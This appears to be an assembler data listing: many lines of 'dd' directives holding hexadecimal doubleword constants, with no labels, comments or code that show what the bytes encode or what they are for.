		dd 320EFF9Eh, 6742BB0Eh, 0ECF68AA8h, 5A36C207h,	0BA6A721h
		dd 0F67E1BCCh, 95300B2h, 5EDE7066h, 0D8A9DF6Bh,	843C2865h
		dd 0C810E4F3h, 58BFC101h, 0DB2547A4h, 7C00D87Eh, 9C5BF72Ch
		dd 0D7D330h, 0C40F9402h, 0E8EEF15Ah, 81613F25h,	561949BCh
		dd 0EB002828h, 0D36912CDh, 0A71E75CCh, 48FFAC95h, 16030230h
		dd 64BABCA0h, 0BBCF2054h, 0D94AAF03h, 0D0AC1A8Dh, 153B3Fh
		dd 46E3499Eh, 0AA557F43h, 7D32611Dh, 303848E4h,	6753D00Ah
		dd 0F6C226E0h, 72F002Ch, 871B3A88h, 54424403h, 8BFAECh
		dd 4FF85398h, 2A9304E8h, 9B7B400h, 11BFDA81h, 0C4E0C12Eh
		dd 2DD51224h, 4C2D8354h, 0BC61071Dh, 405F82F2h,	0F317EB31h
		dd 8C3C1100h, 9232AE5Ah, 0D7D4000Bh, 70BB6A34h,	0BE006F62h
		dd 0F830F593h, 3D0242F9h, 60043E5h, 2B7EEE5Dh, 68006E4Fh
		dd 429FBB76h, 3129A0Eh,	0A7C083B1h, 0D6E8300Bh,	1C004DC1h
		dd 0E061666Ah, 3F1E4C8Eh, 9A139C47h, 933B00F2h,	0C8FDFE5h
		dd 9C9B402Ch, 38C38C45h, 38E8A8E1h, 0A43700A3h,	0C5135692h
		dd 0ED4CEA02h, 6971001Ch, 67FE62B5h, 0E73700AFh, 96B6F04Bh
		dd 0C10F8801h, 0BDDD71D6h, 0A840F596h, 3A7FCBC3h, 0C18A2E80h
		dd 0E1EF0095h, 9AC94F7Bh, 252BE600h, 0E8DC4A3h,	78A1005Eh
		dd 47827E69h, 23001844h, 8A39DDA6h, 3ACABF5Fh, 0FD85F5F6h
		dd 0D00E4502h, 9884C9B8h, 16CC759h, 0E48FA6A4h,	0F0D3AD9Fh
		dd 0F8522B9Dh, 0D7BD1D44h
		dd 0D5F005F4h, 461800A4h, 8FE476F8h, 6DF0AA81h,	8D4F039Bh
		dd 77A879DDh, 9A5D2E1h,	78CCC63Ah, 0BE3164Ch, 0D8D78D46h
		dd 0E34130A2h, 0A735FA90h, 0A17A0733h, 0BF1CB852h, 60A8608Dh
		dd 4FF9AA89h, 7803B84Ah, 0FD19E253h, 26109840h,	0DEC86FC5h
		dd 0B64C4008h, 0D76AE465h, 0F1C35E00h, 37D97B3Eh, 0CEBC7BAAh
		dd 0C80060A8h, 0E947F972h, 71CCF107h, 0CB902643h, 99963Dh
		dd 27770EF7h, 0F2DAF3A6h, 0E8D7B10Eh, 8C94DEA8h, 0D00F77F8h
		dd 0A0CE5B45h, 820C2F1Ah, 22CB009Dh, 9A3B2654h,	8416419Bh
		dd 530062F4h, 0C30B78ABh, 547FA3Dh, 4A29790Dh, 40FC24CCh
		dd 818E7698h, 7B0E64C1h, 923586E6h, 72A30E00h, 7C6080EAh
		dd 32CA3E79h, 66CC0772h, 0C7D7E92Ch, 8C09A36Dh,	100096A3h
		dd 0A31FE77Ch, 0C6EBB9h, 2E7DB64Bh, 82997553h, 0DE723600h
		dd 807866C1h, 2C6C1ED5h, 423F3EE6h, 7F32D18Fh, 8208210Dh
		dd 0C07C3130h, 0A095E380h, 7157C1h, 693EC3F5h, 6E30CCEAh
		dd 48F64A4h, 8CE4F05Dh,	77106560h, 0B9FBF252h, 8A69000Ch
		dd 3E166CA0h, 4EC7C50Ch, 0C0650836h, 0A0228E21h, 0EB00BAE8h
		dd 29037E1Dh, 3D16202Dh, 0B8F2DEB1h, 0C65801CCh, 0F6D972C7h
		dd 8079BC7Ch, 0E10BCE7Eh, 29DB30h, 4D8D68A5h, 129265D6h
		dd 60299B61h, 0A980D9E5h, 87EE2A4h, 0F40093DCh,	0A268049Eh
		dd 3098C366h, 0AAD1E3F7h, 0D6607608h, 0EFF91A70h, 2C88C38Bh
		dd 0B9189C45h, 5B6160F6h, 0AC3C4A95h, 8CA800CEh, 9C932220h
		dd 0C2CD39AEh, 69610CF5h, 333177F1h, 2B06F300h,	8DA7D5FDh
		dd 82566D2h, 390F21CBh,	67BD06EBh, 63E1B44Ch, 0C181C4ACh
		dd 0AF915CFh, 8690BBDBh, 601A5CC3h, 6EC100B9h, 6FAA8F0Ch
		dd 0E23377ADh, 13A0887h, 0C562021h, 0E49B299Fh,	631B0BF7h
		dd 887962F1h, 0BA4558h,	0F3B1E23Dh, 99C08E3Ah, 808BB403h
		dd 231DA8h, 0C66D3749h,	5B0DBDDEh, 916AA000h, 85611383h
		dd 9463062Bh, 0D92D2FE9h, 0BBE66018h, 0A89DE4C1h, 4E5A07A0h
		dd 0AD63807Ch, 0E800D6E2h, 0CE358BDEh, 0B92D28h, 121B6C41h
		dd 93D7FD80h, 0DAA95260h, 0A1B1ECBEh, 382063DCh, 8C048CF0h
		dd 8E166EA0h, 0E02F6A62h, 3018A084h, 0BC3C0FE5h, 47E13AEAh
		dd 0A0091A96h, 5E46ACE1h, 8D0C5402h, 38315FAAh,	0C5C2210h
		dd 300DD200h, 2C0FBECh,	53664462h, 6E09952h, 0FE51125Ah
		dd 0A17C0FD0h, 9682C348h, 0FC0FB2ECh, 9DF19858h, 0C83D02C1h
		dd 0BEC4B653h, 350A4600h, 0F8609028h, 80DB50D5h, 2629245Ch
		dd 914C8258h, 6200A902h, 509B9A37h, 0E8C26CE1h,	0D07CF849h
		dd 3DB87420h, 2EE48Ch, 0B3C1914h, 5AC0D13Ah, 91C93E3Fh
		dd 0A301C749h, 44FAB726h, 4CC82055h, 0AD60CC92h, 0B75E8C21h
		dd 70EF7D98h, 57EA03E6h, 650C9EFDh, 6B0E814h, 899D8EF8h
		dd 0FCA0316Ah, 46FD28FCh, 0CA22DDh, 0F906F438h,	4EAEAC40h
		dd 20AA2104h, 20D27EBEh, 5A552078h, 0FF01D080h,	0D65D1ED5h
		dd 23F13D09h, 8216448h,	4D44F9B7h, 8340ABC4h, 0BC73B759h
		dd 90174901h, 38C5121Ch, 46B8D046h, 6F80756h, 0C418FD24h
		dd 0F03440C6h, 30CB7006h, 1A61914Ah, 0D81F5BF8h, 0F1809D95h
		dd 8162C171h, 2E0B3084h, 432CF339h, 70CC49h, 7752FF73h
		dd 0C0623502h, 3760F288h, 2A0AD7ADh, 8431DBF0h,	4417309h
		dd 68602200h, 0AA26F10Ch, 2670203Fh, 1E0C0050h,	520DC67Fh
		dd 1A22923Bh, 0AF60247Bh, 0CDCB4074h, 0A748C537h, 0D0EB2450h
		dd 0A9A0F1C3h, 0FA19E616h, 0A088602Eh, 142AECBh, 0E2C2657Bh
		dd 83B2122Ch, 4A245921h, 60690090h, 57437B5Bh, 5C000BE1h
		dd 18830CE4h, 86D835h, 3BCD6AC8h, 60BE937Eh, 61008491h
		dd 8122216Dh, 2C50C063h, 828A277Ch, 8154D0C8h, 19649BFDh
		dd 0F240229Ch, 1DD133C7h, 7E718031h, 21F0BF3Ch,	87A500D6h
		dd 841EDCD4h, 10055C1Bh, 4183A85Dh, 80DD149Bh, 0BD3B3A08h
		dd 101212F3h, 744865EEh, 24778063h, 60169428h, 7987C100h
		dd 450A2964h, 2E82016Ah, 25319EF7h, 0F6846406h,	0A1CC5020h
		dd 6D185F10h, 0AA8C0C09h, 109C57h, 110C5527h, 9651C8B2h
		dd 0BC4C2A0Bh, 0FEA8027Bh, 0F2590133h, 5193CD2Ch, 0BCD298E8h
		dd 2FB00A9h, 44828326h,	0B8D7588Dh, 38B61440h, 8DD7EFEh
		dd 8EDF7864h, 0C2398860h, 0E883DC76h, 87945D1Ch, 29556100h
		dd 830421F5h, 986BFF08h, 101856C2h, 0D38A086Fh,	18283658h
		dd 4992F108h, 0F7238F60h, 60931009h, 2E6312E0h,	13F98C01h
		dd 0A8BAF696h, 1E81C881h, 20345102h, 6C1EABD4h,	82C33EC4h
		dd 95701218h, 0C2F0495h, 0DF05C723h, 7CC94AF2h,	1E8755DCh
		dd 12E8A84h, 0AD021D71h, 7478995Bh, 68BFB140h, 6F90246h
		dd 3125FD21h, 0F11310C8h, 0A8890006h, 0A9166ABDh, 0D0A8A68Eh
		dd 50C86183h, 6FFC055h,	0F54CFD27h, 0F715E080h,	0D54D0206h
		dd 7832400Ah, 4B891841h, 0C0CA884Ch, 4C14743Dh,	2A3A5E0Fh
		dd 5062EC18h, 0F2E11A16h, 4C83A898h, 1905C71Ah,	0DD6FCFF9h
		dd 3AC88C8Eh, 4BFBCBC0h, 0F61F3BB3h, 351D260Ch,	8200BD21h
		dd 0A5957FD3h, 26751E8Eh, 75E8C7h, 0B127366Bh, 0A200EB07h
		dd 694133A8h, 156519E0h, 0E0974AF3h, 0E5278D00h, 0E483EB75h
		dd 0D917F600h, 0BE321978h, 4970032Dh, 29828BA9h, 672061F2h
		dd 0FDBA71h, 0AD1DA2E8h, 0A5D8373Dh, 4FE2F916h,	63290818h
		dd 0B15A242Ch, 0FDC68158h, 609C8CAEh, 0B89A53C4h, 39E79244h
		dd 0BC007583h, 4B3132DCh, 0B4123969h, 745795A1h, 74CCD020h
		dd 3AE817C6h, 0BB6307F0h, 635F3187h, 50C03112h,	0C57616B4h
		dd 8846BCB0h, 0FCB72802h, 0AA314544h, 0B7209A10h, 0EA392E03h
		dd 3F9C4A47h, 81001E19h, 0B49AC7A9h, 0DD00F10Dh, 0F884D09Dh
		dd 4DE4221Dh, 150F2898h, 656E3BDFh, 2EDC8800h, 68EACBFAh
		dd 2030FE4Dh, 25946DBh,	0AA8A0C6Bh, 132B3187h, 0BB0C9021h
		dd 0B1D8C234h, 3443A336h, 222BF8AEh, 83380F7h, 14C8B492h
		dd 0B0F9788Dh, 0D9E02254h, 10A41BF0h, 0B5B04CF5h, 0B45CA401h
		dd 599DFFBEh, 9913F4ECh, 24F6A4FCh, 9B280012h, 4F92AB1Fh
		dd 161C9470h, 0F9441AC8h, 78807573h, 0B0DEC356h, 25C4640h
		dd 0FD2606FAh, 67EDh, 0FE06F212h, 0FA048242h, 0DA32A6CFh
		dd 0F610AC14h, 52E302C4h, 40B938E6h, 77DC628h, 0EA44C5D6h
		dd 40807902h, 9AD89EFEh, 230420D4h, 0B7270125h,	735D44FFh
		dd 5F8580C0h, 526EDB7h,	0C8960C5Eh, 88D88E3Bh, 27B9C0CDh
		dd 0DB0E29BBh, 3A450475h, 31EC24A8h, 627FE8C1h,	74B16B01h
		dd 6C58811Ch, 64089A14h, 53821F08h, 0D1A84129h,	805B1D2Eh
		dd 8394DE49h, 3EA59B67h, 0D059373h, 6BB1F52Eh, 0C340027Ch
		dd 41E8211Bh, 0DA107814h, 43E9A8BEh, 38071EA8h,	0C112CC09h
		dd 0E318B81Ah, 0D067F9B1h, 4A3F6499h, 0E90061EEh, 30A464B0h
		dd 595A3900h, 0F68B55EDh, 0E8466F93h, 1703133h,	94AAFC05h
		dd 61DFC700h, 0A04BAFF2h, 6409011Ah, 208A4F1h, 89E991CFh
		dd 0F3B72B80h, 448C7D44h, 230099A9h, 22CD1FB7h,	20DFBF2h
		dd 58AA7607h, 3040DBCAh, 0E672E12Eh, 2092BF7Dh,	2A028646h
		dd 7544FEB7h, 8010AE31h, 603B722h, 0B29F5B85h, 105CEB2Eh
		dd 2C7CCE60h, 7D0298C2h, 33F950Ah, 0ABB82CF3h, 0C8289EFFh
		dd 6C25B46Eh, 0F47811CCh, 0A008F018h, 0C4EE1662h, 8B504063h
		dd 66F14A0h, 2BF02AEFh,	342C78C8h, 465EA09Ch, 7DB21CCDh
		dd 0FF5401BEh, 7502C569h
		dd 0DA09482Ch, 24C0489Eh, 2C98C74Ch, 6013F4B0h,	0F4F135E7h
		dd 0AFBC8028h, 9824008Ch, 4167B67Dh, 4298BA5Dh,	2C071400h
		dd 56F5C702h, 0F19560BDh, 6362F31h, 9F47D00h, 98FD45C0h
		dd 0BD0A1510h, 0A800B02Bh, 18AF70B5h, 411B2E34h, 0A871954Ah
		dd 7012109h, 0C69F9103h, 14E31047h, 0F30A5FC7h,	0B44E3D41h
		dd 0F731A71Ah, 0E867F586h, 80EF4AF0h, 0EF31B219h, 1A29737h
		dd 9ECB0322h, 3063EAF3h, 0CC4066DCh, 3C250493h,	826C101Fh
		dd 0D212878h, 1AC88CA6h, 6A540186h, 0FD44FB64h,	0F7002465h
		dd 0A08D048Ch, 0F286166Dh, 258FC048h, 5BD6DFA0h, 4B06B0F1h
		dd 0E2496B0Bh, 1DCCABFCh, 80C811A4h, 60641FFBh,	4032EB98h
		dd 7212AA38h, 19300BDCh, 78464809h, 4082F32Ch, 0AEC5E588h
		dd 0A450BB5Ch, 3549D72Dh, 2090CDCCh, 0E127148Ch, 2A4080D6h
		dd 91D46210h, 0F897E9D4h, 0FB809411h, 5ECCD88Bh, 0CCC15A24h
		dd 8962BD0Ch, 218F00A6h, 3A248EC2h, 0A005B6Fh, 0D1E80C86h
		dd 3BEF104Ch, 354EDBC3h, 0B254A24Ch, 0A18C3067h, 0E9889804h
		dd 0D4E2976Fh, 16B92A00h, 0ED50DDBFh, 85EEB43Eh, 190C54C6h
		dd 0E21F9CA2h, 9F003A76h, 6FF734BDh, 0CB0C80E9h, 8E595C10h
		dd 8D1581Eh, 6335CC07h,	0CB8148E1h, 0AF96911Bh,	4C8EAC45h
		dd 34C03F88h, 16CFD20h,	96055558h, 947576AEh, 23C88E50h
		dd 0B7240184h, 632544F8h, 5C868140h, 82D4FAB7h,	7C8C04D7h
		dd 82C76D0Ah, 30506BE0h, 9422DB46h, 2F6CE0Dh, 44F178A1h
		dd 5C58086Dh, 0ECB71C3h, 1BB7D1D0h, 0DEF7DC00h,	184EC466h
		dd 0A894A024h, 214271Ah, 11881428h, 0C628020h, 8C4FAAF3h
		dd 12243544h, 0C81E0C6Ah, 204D790h, 0F6482B19h,	7C8368F4h
		dd 41513FE2h, 0D144C92h, 0C9C07F08h, 0C4111390h, 0AE29E5Fh
		dd 11689843h, 9375007Ch, 37494E16h, 6A0412C1h, 81AC80DDh
		dd 0F22CD809h, 4ABCC082h, 388C1034h, 60AE014Ah,	39759026h
		dd 5DB0E02Ah, 1900A094h, 0D81EF4F2h, 4CFB028Fh,	648BABF7h
		dd 8117F0ECh, 10201192h, 4064B6FCh, 0A091E469h,	49F9C200h
		dd 0B208C4h, 8C94FAAAh,	0AD3E1838h, 43CA1101h, 2FB1696Eh
		dd 45EEBC21h, 60ADE418h, 84F2B0h, 355797B2h, 14798169h
		dd 0C6826714h, 10092EE4h, 0D80B01DEh, 3CE6FA81h, 0FED8829Eh
		dd 4CF15274h, 17B498F0h, 0CB36166Bh, 23890044h,	0ED4977A0h
		dd 0E81375DAh, 99EA1380h, 0BAA061D2h, 0FD2900CCh, 0CEE42C96h
		dd 15F980A8h, 0F5717A50h, 2FB48100h, 77115CF0h,	12755B8Eh
		dd 6130D0CCh, 24009730h, 210210A1h, 293D7CDh, 3A6A7B50h
		dd 0FC63DDD5h, 0E899990Eh, 4022D223h, 16A46C59h, 4077DEC2h
		dd 0E2A84814h, 0FB60F914h, 7D03E569h, 0DA1F0076h, 75F43E42h
		dd 0D6004009h, 58DF28C8h, 27C556h, 0A5145D6Ah, 0CBC0310h
		dd 0E758D01h, 0F71E6EFCh, 0A6BD0h, 0BF729991h, 3779A570h
		dd 16009678h, 0E298598Ch, 168657B6h, 43D253h, 4BC1B98h
		dd 0A20130ECh, 0DFCB776Bh, 9E8A7FFh, 749862h, 0D3188C0Eh
		dd 46F36342h, 839876EAh, 0F6B0BE54h, 0BCA0F178h, 2CB64AF0h
		dd 8400719Fh, 0A5A043D7h, 2D02F8D1h, 0B89D1251h, 1180CF91h
		dd 0BA8A71D6h, 0AF0DEA00h, 58AAF214h, 88CD6072h, 0A24AD573h
		dd 7C3C654Ch, 1DC650A0h, 532F40h, 0A36DDEAEh, 735646DCh
		dd 72F24C72h, 86180A0Ch, 4CCC30C3h, 0AA83E0F6h,	6158EE28h
		dd 97DA1138h, 92615161h, 82E8284Ch, 5BFC09Eh, 0F65C8229h
		dd 11A08E30h, 889E1660h, 89528062h, 632EADA0h, 8278A84Ch
		dd 684AEA44h, 918E99D8h, 1890D1BCh, 29C6021Ah, 6AB49EFFh
		dd 2AE21E01h, 4AF2599Eh, 74CCCCE3h, 0E700CD46h,	1CBA1320h
		dd 0CB7FC5AAh, 8066F627h, 0CE100ADCh, 0ECE3817Ch, 7458F15Ah
		dd 8C9DBCE8h, 0E0226CB0h, 2C594B62h, 9D8921FCh,	3DAC0479h
		dd 0B0AEFD13h, 94638080h, 0CEB4B84Eh, 3E04A8C8h, 222E00C4h
		dd 0C4911E2Ch, 0B3FF98A1h, 94124ED0h, 0A9C814CBh, 11DA41C0h
		dd 24BE13FDh, 280C8D95h, 8CAABC98h, 9809E8E2h, 114C2C0Bh
		dd 0D7F634h, 351DA2F9h,	6AF90D27h, 2E961403h, 0C7FEE926h
		dd 2CF25E20h, 73D1740Ah, 596B0299h, 43DE4C84h, 60B8A361h
		dd 1213C488h, 5881C2B9h, 8180964Ah, 9210DE68h, 2000EDC7h
		dd 54BDE539h, 0FA44C403h, 0CC2116BBh, 4C780423h, 641B4561h
		dd 6E00A452h, 0F8B1AC73h, 0A88D0584h, 0E2E22FDEh, 3034F224h
		dd 75021789h, 9496FA66h, 0A4AC81B3h, 642CC2E2h,	58AE057Dh
		dd 0B075C5ABh, 9740AA3Ch, 74DC255Ch, 60111497h,	6007589h
		dd 0EE27CF0h, 60693066h, 21D75BA0h, 0C06B4B18h,	4071A15h
		dd 7321304Fh, 0D0F26A70h, 0F9C09A6h, 1841531Ch,	238042CFh
		dd 100C6130h, 0E037AAF0h, 0C691Bh, 8F1F0F64h, 6678B6FAh
		dd 20121980h, 5304C50Dh, 0F1CA58A4h, 0D0C39918h, 84B1F973h
		dd 343B5F3Ch, 59003423h, 0DD24B5BCh, 62A435E6h,	0E1940580h
		dd 0A714F002h, 0F3C9DB02h, 589E0860h, 0FF2E027Ch, 0A29AC0E6h
		dd 97D11879h, 5E094E18h, 0C086AE96h, 0A4182C14h, 0C4F630D4h
		dd 0E82E59D9h, 236C3Dh,	8164E576h, 19BE495h, 9ED5B45Ch
		dd 0FADF3F53h, 447064FBh, 1E0E0242h, 520862A6h,	95CC2468h
		dd 982A5D09h, 42D864FDh, 0A6B60411h, 0FCA1BB76h, 97BCF82Ch
		dd 0CBE0138Ch, 22B48A4Fh, 1E810B2Dh, 6CE0A50Ah,	0D6169A99h
		dd 84C1F524h, 822E463h,	3188295Ah, 0C3A4787Ch, 2DF98DBEh
		dd 5C022220h, 0E6295BFAh, 8808D2BCh, 6D05DCC8h,	4390AA09h
		dd 0FAD6AC00h, 2DDF562h, 7CB18A24h, 0E878A912h,	0C284B496h
		dd 8E8D0B6h, 55159205h,	4BF8A661h, 30047452h, 60445213h
		dd 6C135EACh, 6C01E417h, 0BE169C6Fh, 56F2C6F5h,	0CF467424h
		dd 0F5D10F77h, 1480221Bh, 0BEDA9A03h, 0A8963C35h, 9EA814F2h
		dd 10BEC212h, 0C16B9C87h, 0FE185004h, 0FD2A060Bh, 80B8E5CDh
		dd 8506F636h, 103834EDh, 10AABA51h, 0B60455E2h,	9DAE4Eh
		dd 53CA3B4Ah, 6B3E5B5Ch, 0FD920F78h, 7DC4DF46h,	34D0E912h
		dd 261EFBF3h, 98E87FFh,	0BC82F528h, 7705843Eh, 0E68B0CDBh
		dd 0CF125423h, 0F35F190Bh, 0FE441049h, 0D8350001h, 421DE407h
		dd 2F005046h, 0DF83054Fh, 0B02ADB70h, 2E622D64h, 0DC1D0C0Bh
		dd 5A806411h, 56B329BCh, 0E29CD10Eh, 619A44C4h,	895C9703h
		dd 16C39107h, 0A04B26F9h, 0FA6DC72Ch, 97FC289Eh, 124412ECh
		dd 9DF8A019h, 0D62CB6h,	0DA8FE808h, 9307B5D7h, 217F1032h
		dd 0C8441Ah, 0AA9F624Dh, 0FD72F730h, 718AC67Ch,	18A87930h
		dd 3EB5008Eh, 187521EAh, 0FF2529D3h, 0A2D0042Eh, 52B11641h
		dd 82F883ACh, 82F91A6Ch, 67C7033h, 0CE4E97CBh, 44122191h
		dd 50045529h, 0F6043372h, 6BBCD07Ch, 22F1EEA8h,	0E28E02ECh
		dd 4083AAB8h, 1EA0524h,	0F49F77EBh, 3E63E49Eh, 0CA7D1C00h
		dd 663258A8h, 40D350CBh, 41121E0Ah, 0B918B83Bh,	3049C850h
		dd 8188A7C6h, 842403C2h, 0FE0FDCF9h, 621C1E6h, 0C0885366h
		dd 0F1016DC3h, 3E3AE3C2h, 0A5F44880h, 0E1632E9Fh, 241E494h
		dd 1A021205h, 0DA0174E4h, 81B6ACCEh, 8C2D92C8h,	740065B8h
		dd 0D7ABD004h, 4898B667h, 9332AC52h, 384363F8h,	0A0075CAh
		dd 0B4334640h, 319682F4h, 0D1290627h, 18A8590Ch, 0E8B5E8F0h
		dd 0DAD200DFh, 1A565ACAh, 0BB5A3691h, 3A23803Bh, 8632D900h
		dd 4840FB6Ch, 6489F8BDh, 0CFC1B580h, 0DE00A37Bh, 5E9A4C34h
		dd 0BBE15Bh, 94AE0CA0h
		dd 0AA91463h, 480A4EDh,	29F8DC60h, 55A70095h, 5EC7EDE1h
		dd 578BCA9h, 1990E77Bh,	0CB0090A6h, 0D2C22CC7h,	0F327A8h
		dd 104EB082h, 5A0D9261h, 0E447C0AAh, 0C260CF44h, 0F50E150Eh
		dd 0A0656897h, 180A6AB3h, 1324FAAh, 79F9858h, 20D87085h
		dd 4E6C6040h, 803C9B2Dh, 0EA55B8FBh, 10C89072h,	4529220h
		dd 0A14EF914h, 46A8C156h, 0ECE100AFh, 2CF51223h, 374D55Bh
		dd 6FFCAEEAh, 0E7F69113h, 80E2FC85h, 0CAC1D8F7h, 12C8F9A4h
		dd 39209695h, 139EA126h, 5D9C44E6h, 8044FC81h, 1DBB363h
		dd 688600F8h, 0B9543324h, 36009714h, 0DCD5A543h, 30E27C3Bh
		dd 0F2400FAEh, 6C9ADA99h, 2C7020BBh, 0F6B40863h, 4912C4CAh
		dd 8160E4h, 0E02B3114h,	0F4B5062Eh, 0C3AB4C07h,	94D03B58h
		dd 2C60179h, 0BB2E6BA8h, 446A34E6h, 109614DAh, 4AA465Eh
		dd 3ACAC8A5h, 2A8000ACh, 79AEE0DFh, 7A9C8300h, 17102EF3h
		dd 0ECE33E38h, 3E0A2876h, 0DC78BEF8h, 922D3A04h, 4CA4402Ch
		dd 22461096h, 0E55C02A1h, 0F931D399h, 25971138h, 851CA0F6h
		dd 544DD5Bh, 0AD6FA849h, 0CEB0827Fh, 4ED52A20h,	4430F70Fh
		dd 0AA4C301Eh, 35E6FA39h, 0A0B0B89Ah, 0F8CC0920h, 4F0B4EE0h
		dd 0A02EBC34h, 1142072h, 2F03976Dh, 0C7286989h,	5CBED8F3h
		dd 0B190022Eh, 0DA14598Ch, 0AA4474C7h, 5B8E0860h, 408C1148h
		dd 631AC160h, 0AF299DACh, 597C8A4h, 0C12FD1A8h,	12664550h
		dd 80A474F6h, 0C23D5E20h, 0D700E863h, 69CA4F9Fh, 2820E39h
		dd 0AC0B916Eh, 3CC08038h, 35827D19h, 243975Ch, 0E4F1F07Eh
		dd 2D00E844h, 8A50F73Ch, 1C1D516Fh, 0BAAD78Dh, 0B8267A5Eh
		dd 7C00A965h, 0D22BE5CFh, 78F569h, 4B4360DBh, 1D86953Ch
		dd 0C285480Ch, 0B1C95983h, 18C7D164h, 0AA961B76h, 0FCE4B9B8h
		dd 8C6ABC48h, 0A40E3107h, 0F830CBA9h, 0AA5D4B1h, 4236E6E1h
		dd 17920BA0h, 7D1A9891h, 2D5E0034h, 0E331EA29h,	772EEE66h
		dd 86F30ED5h, 2F40DB94h, 0AAE9F19Bh, 0CCCE632Eh, 593601DEh
		dd 0F4F5FF42h, 7C24609Ah, 1196F388h, 13FA9828h,	0D08C8253h
		dd 40AC9E20h, 0D8A7EF33h, 7F01E477h, 8B1B8F0Eh,	37CC2DD2h
		dd 0CBDF0EE7h, 4021529Ah, 809E4ABEh, 0CFC75E39h, 0AB2527h
		dd 8550E8B0h, 0A4A715D2h, 759C2C12h, 0E8F788B2h, 65021EC0h
		dd 0F81B7E50h, 0C5C05A96h, 61788190h, 60040538h, 0B1F252Ch
		dd 94A47AE2h, 3170F850h, 831A29BDh, 1F568051h, 2E2D6820h
		dd 0E2F4F150h, 8709E6DEh, 2548BA60h, 7D634C1h, 37BC71CBh
		dd 2163A418h, 8608975Ah, 0F8D3C740h, 61A0407Ah,	0FCC91A5Ah
		dd 0E4C9E99Dh, 0CC446420h, 10128E50h, 0C4CB0C03h, 4500E3DDh
		dd 0B53F5882h, 6C020229h, 3D85AF73h, 7DAE60E0h,	167C8280h
		dd 0B734B51Ah, 57BFA054h, 92080912h, 90467231h,	0E0BEDA08h
		dd 186709B1h, 0DCB1F4ECh, 0DF183671h, 0C0D81858h, 7C8C8BCEh
		dd 0A7E300A8h, 9CF65EFh, 0E0FE4D92h, 0A0956A00h, 12EA1D63h
		dd 899C9411h, 85177C7h,	0B1186371h, 827F4009h, 0EC52FBh
		dd 245860B2h, 8756E683h, 17F1B03Fh, 0B6045763h,	5CFC6628h
		dd 3B902100h, 0E224BFE6h, 82160318h, 13423C40h,	4365C29Ch
		dd 6FD573ECh, 8CD81A9Ah, 0F081C851h, 82007621h,	597A146Ch
		dd 12EF645h, 0C572846Fh, 2A9804B6h, 920E3C00h, 2A487F8Eh
		dd 9C2E1Dh, 0FFA8C03Eh,	90C201CDh, 548B7D00h, 0E44884Eh
		dd 0B02004Ah, 1B0DAC7Ah, 0AA3F81E6h, 0E16881DBh, 0E03B0357h
		dd 94609440h, 0FF5606C9h, 71992CB6h, 8C47F84Fh,	707CE660h
		dd 0EA1F135Ch, 0BF30B03Eh, 4167E90Eh, 0ED016016h, 7AF43Ah
		dd 5B39AA28h, 8EA0B47h,	9D01CC72h, 183F4FB8h, 0D3D8C667h
		dd 0C8300C6Ah, 1F406050h, 99AB0901h, 1054F20Eh,	4914E0h
		dd 0DD6E9B3Ch, 0A009B836h, 71CE6772h, 1C29071Fh, 1FC8104Ch
		dd 3A8232h, 0C389E0D1h,	0A4A0D536h, 851CF8BDh, 0EA00A537h
		dd 0E67579C6h, 0E02100A6h, 0A368412Dh, 0C5282CDFh, 9FE62C3Fh
		dd 4D0051F0h, 2DF8BA87h, 43BBF7h, 956981A3h, 0A21A91Ah
		dd 0D99D4E00h, 6A1D5637h, 0B0466064h, 2A99A860h, 83F1E93Bh
		dd 84107BC0h, 5B97221h,	0C46374F9h, 0C840FF8h, 755E7E03h
		dd 9C372072h, 9BE0894Bh, 0F270ED02h, 41FD60A1h,	6D58141Ah
		dd 4CAA6200h, 0A850B3CEh, 0DF84A017h, 2A1A0010h, 0A2DC3532h
		dd 0A400C028h, 0FEF29119h, 0EE4B17h, 5C696AF1h,	5A810330h
		dd 94183C01h, 95FC39ABh, 118FA471h, 0C0900D3Fh,	468609C5h
		dd 0FCC6885Ch, 41598130h, 7D386EF5h, 1904A6F4h,	10368F3Fh
		dd 4E61F214h, 4E218072h, 0EBAE3B19h, 99980E0Bh,	387DF3E3h
		dd 1002344h, 4BD0B13Bh,	189B1E54h, 599A434Eh, 3F61F685h
		dd 0BE55D169h, 6FDC05F0h, 0FA52198h, 1A028073h,	1733F81Ch
		dd 0D00832h, 73C75B21h,	9649927Ch, 8A0074F2h, 0F0DC4795h
		dd 50282CFBh, 0CEA6470h, 3296ADF5h, 57001811h, 71C90ED9h
		dd 3AB172F8h, 5B30F9B9h, 0D68CF721h, 80CE1938h,	5FD3012Dh
		dd 884F8BB0h, 0B57D40A8h, 7B6AF300h, 339CD374h,	67AA02CDh
		dd 0C150FAF4h, 0A7E0A0AFh, 645418E4h, 5F231500h, 43588EADh
		dd 38193BDAh, 0DE3CA856h, 0E3EB9584h, 204A3299h, 0E53B0630h
		dd 0F66B5A00h, 7B461B22h, 0D6030037h, 42D8347Ah, 0BC00175Eh
		dd 7DB4BE2Ah, 1B7CDA7h,	0B6AACB10h, 42C557A3h, 3B3001B4h
		dd 1F521173h, 80EF883Ah, 64733357h, 0C4901562h,	4F0EF600h
		dd 7F7E1037h, 3AB6783Ah, 0C49DEB03h, 44B4DFACh,	829F3D71h
		dd 0DF318F18h, 0E8C4A5E7h, 207B7022h, 743B0735h, 26FE601h
		dd 0CA688D84h, 0DF82A450h, 4AC0105h, 1D97C53Dh,	0C39EE4F9h
		dd 0DB7F3901h, 0BFF71E4Bh, 0F808FC54h, 0D956C0AAh, 2946C90Dh
		dd 0F6005922h, 47A8D68Fh, 0C1967D4h, 6B3C5593h,	6CE0DA99h
		dd 0C5F05D00h, 0D10DE3A7h, 0BAD7005Fh, 0C1F42237h, 0A9DCF850h
		dd 1AB1AEC0h, 1952907Dh, 858753Ch, 0BBB024CCh, 0B7B1A600h
		dd 0B2957933h, 68F72F2h, 0F782B57Ah, 6930910Ch,	214051C7h
		dd 0DEB600C8h, 953B1DCh, 0A8001ECFh, 0A4FF0620h, 64420A89h
		dd 603E8835h, 2307B1ADh, 9111587Dh, 0B145B400h,	1E5B4032h
		dd 0DA198900h, 852E56B9h, 224A42EEh, 5F8903FFh,	8EEC3E3Bh
		dd 87F520E9h, 0F1786018h, 91794F21h, 0F711EC22h, 47307C37h
		dd 3B41999h, 933604CDh,	8EFE8325h, 0C3EA8844h, 50C902F1h
		dd 0EC9980C5h, 0E1EEA8F0h, 635B001Bh, 0BB359624h, 0FA0FE090h
		dd 7010DD0Eh, 20793F1Dh, 6879B07Ah, 1A154403h, 2089322Ch
		dd 74446CC8h, 439622B4h, 6BC29800h, 0A78CD934h,	0BE6600EEh
